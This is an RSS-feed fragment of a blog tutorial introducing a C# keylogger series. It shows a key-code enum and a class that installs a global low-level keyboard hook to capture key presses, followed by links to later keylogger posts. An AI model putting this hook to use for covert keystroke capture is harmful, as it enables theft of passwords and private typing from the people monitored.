            VK_NUMPAD7 <span style="color: #008000;">=</span> 0X67,
            VK_NUMPAD8 <span style="color: #008000;">=</span> 0X68,
            VK_NUMPAD9 <span style="color: #008000;">=</span> 0X69,
&nbsp;
            VK_SEPERATOR <span style="color: #008000;">=</span> 0X6C, <span style="color: #008080; font-style: italic;">// | (shift + backslash)</span>
            VK_SUBTRACT <span style="color: #008000;">=</span> 0X6D, <span style="color: #008080; font-style: italic;">// -</span>
            VK_DECIMAL <span style="color: #008000;">=</span> 0X6E, <span style="color: #008080; font-style: italic;">// .</span>
            VK_DIVIDE <span style="color: #008000;">=</span> 0X6F, <span style="color: #008080; font-style: italic;">// /</span>
&nbsp;
            VK_F1 <span style="color: #008000;">=</span> 0X70,
            VK_F2 <span style="color: #008000;">=</span> 0X71,
            VK_F3 <span style="color: #008000;">=</span> 0X72,
            VK_F4 <span style="color: #008000;">=</span> 0X73,
            VK_F5 <span style="color: #008000;">=</span> 0X74,
            VK_F6 <span style="color: #008000;">=</span> 0X75,
            VK_F7 <span style="color: #008000;">=</span> 0X76,
            VK_F8 <span style="color: #008000;">=</span> 0X77,
            VK_F9 <span style="color: #008000;">=</span> 0X78,
            VK_F10 <span style="color: #008000;">=</span> 0X79,
            VK_F11 <span style="color: #008000;">=</span> 0X7A,
            VK_F12 <span style="color: #008000;">=</span> 0X7B,
            <span style="color: #008080; font-style: italic;">//and for the 8 people in the world who do, I think they can live without using them</span>
&nbsp;
            VK_NUMLOCK <span style="color: #008000;">=</span> 0X90,
            VK_SCROLL <span style="color: #008000;">=</span> 0X91, <span style="color: #008080; font-style: italic;">//Scroll-Lock</span>
            VK_LSHIFT <span style="color: #008000;">=</span> 0XA0,
            VK_RSHIFT <span style="color: #008000;">=</span> 0XA1,
            VK_LCONTROL <span style="color: #008000;">=</span> 0XA2,
            VK_RCONTROL <span style="color: #008000;">=</span> 0XA3,
            <span style="color: #008080; font-style: italic;">//VK_LMENU        = 0XA4,</span>
            <span style="color: #008080; font-style: italic;">//VK_RMENU        = 0XA5,</span>
            <span style="color: #008080; font-style: italic;">//VK_PLAY         = 0XFA,</span>
            <span style="color: #008080; font-style: italic;">//VK_ZOOM         = 0XFB</span>
        <span style="color: #000000;">&#125;</span> <span style="color: #008080; font-style: italic;">//keycodes</span>
&nbsp;
        <span style="color: #008080; font-style: italic;">//There are detailed explanations for these functions on MSDNAA and implementations.</span>
        <span style="color: #0600FF;">public</span> <span style="color: #FF0000;">delegate</span> IntPtr HookDel<span style="color: #000000;">&#40;</span>
            <span style="color: #FF0000;">int</span> nCode,
            IntPtr wParam,
            IntPtr lParam<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #FF0000;">delegate</span> <span style="color: #0600FF;">void</span> KeyHandler<span style="color: #000000;">&#40;</span>
            IntPtr wParam,
            IntPtr lParam<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">static</span> IntPtr hhk <span style="color: #008000;">=</span> IntPtr.<span style="color: #0000FF;">Zero</span><span style="color: #008000;">;</span>
        <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">static</span> HookDel hd<span style="color: #008000;">;</span>
        <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">static</span> KeyHandler kh<span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #008080; font-style: italic;">//Creation of the hook</span>
        <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">void</span> CreateHook<span style="color: #000000;">&#40;</span>KeyHandler _kh<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            Process _this <span style="color: #008000;">=</span> Process.<span style="color: #0000FF;">GetCurrentProcess</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            ProcessModule mod <span style="color: #008000;">=</span> _this.<span style="color: #0000FF;">MainModule</span><span style="color: #008000;">;</span>
            hd <span style="color: #008000;">=</span> HookFunc<span style="color: #008000;">;</span>
            kh <span style="color: #008000;">=</span> _kh<span style="color: #008000;">;</span>
&nbsp;
            hhk <span style="color: #008000;">=</span> API.<span style="color: #0000FF;">SetWindowsHookEx</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">13</span>, hd, API.<span style="color: #0000FF;">GetModuleHandle</span><span style="color: #000000;">&#40;</span>mod.<span style="color: #0000FF;">ModuleName</span><span style="color: #000000;">&#41;</span>, <span style="color: #FF0000;">0</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #008080; font-style: italic;">//13 is the parameter specifying that we're gonna do a low-level keyboard hook</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">//MessageBox.Show(Marshal.GetLastWin32Error().ToString()); //for debugging</span>
            <span style="color: #008080; font-style: italic;">//Note that this could be a Console.WriteLine(), as well. I just happened</span>
            <span style="color: #008080; font-style: italic;">//to be debugging this in a Windows Application</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">static</span> <span style="color: #FF0000;">bool</span> DestroyHook<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            <span style="color: #008080; font-style: italic;">//to be called when we're done with the hook</span>
&nbsp;
            <span style="color: #0600FF;">return</span> API.<span style="color: #0000FF;">UnhookWindowsHookEx</span><span style="color: #000000;">&#40;</span>hhk<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #008080; font-style: italic;">//called when key is active</span>
        <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">static</span> IntPtr HookFunc<span style="color: #000000;">&#40;</span>
            <span style="color: #FF0000;">int</span> nCode,
            IntPtr wParam,
            IntPtr lParam<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            <span style="color: #FF0000;">int</span> iwParam <span style="color: #008000;">=</span> wParam.<span style="color: #0000FF;">ToInt32</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #008080; font-style: italic;">//depending on what you want to detect you can either detect keypressed or keyrealased also with  a bit tweaking keyclicked.</span>
            <span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>nCode <span style="color: #008000;">&amp;</span>gt<span style="color: #008000;">;=</span> <span style="color: #FF0000;">0</span> <span style="color: #008000;">&amp;</span>amp<span style="color: #008000;">;&amp;</span>amp<span style="color: #008000;">;</span>
                <span style="color: #000000;">&#40;</span>iwParam <span style="color: #008000;">==</span> 0x100 <span style="color: #008000;">||</span>
                iwParam <span style="color: #008000;">==</span> 0x104<span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span> <span style="color: #008080; font-style: italic;">//0x100 = WM_KEYDOWN, 0x104 = WM_SYSKEYDOWN</span>
                kh<span style="color: #000000;">&#40;</span>wParam, lParam<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #0600FF;">return</span> API.<span style="color: #0000FF;">CallNextHookEx</span><span style="color: #000000;">&#40;</span>hhk, nCode, wParam, lParam<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span>
    <span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>Now there are comments to help you with this one. Make sure you have this class since it is base of operations for everything else.<strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.axino.net/hack/2009/11/finished-keylogger-in-c" rel="bookmark" title="Sunday 01.11.2009">Finished keylogger in C#</a></li>
<li><a href="http://www.axino.net/tutorial/2009/10/keylogger-in-c-detecting-pressed-keys" rel="bookmark" title="Monday 26.10.2009">Keylogger in C# :: Detecting pressed keys</a></li>
<li><a href="http://www.axino.net/tutorial/2009/05/keylogger-in-c-hooking-and-unhooking-keyboard-hook" rel="bookmark" title="Thursday 07.05.2009">Keylogger in C# :: Hooking and unhooking keyboard hook</a></li>
<li><a href="http://www.axino.net/programming/c-sharp/2010/06/extending-the-c-keylogger" rel="bookmark" title="Wednesday 02.06.2010">Extending the C# KeyLogger</a></li>
<li><a href="http://www.axino.net/hack/2009/10/keylogger-in-c-saving-content" rel="bookmark" title="Tuesday 27.10.2009">Keylogger in C# :: Saving content</a></li>
</ul>
<p><!-- Similar Posts took 7.168 ms --></p>
 <img src="http://www.axino.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=262" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.axino.net/tutorial/2009/02/keylogger-in-c-introduction/feed</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
	</channel>
</rss>
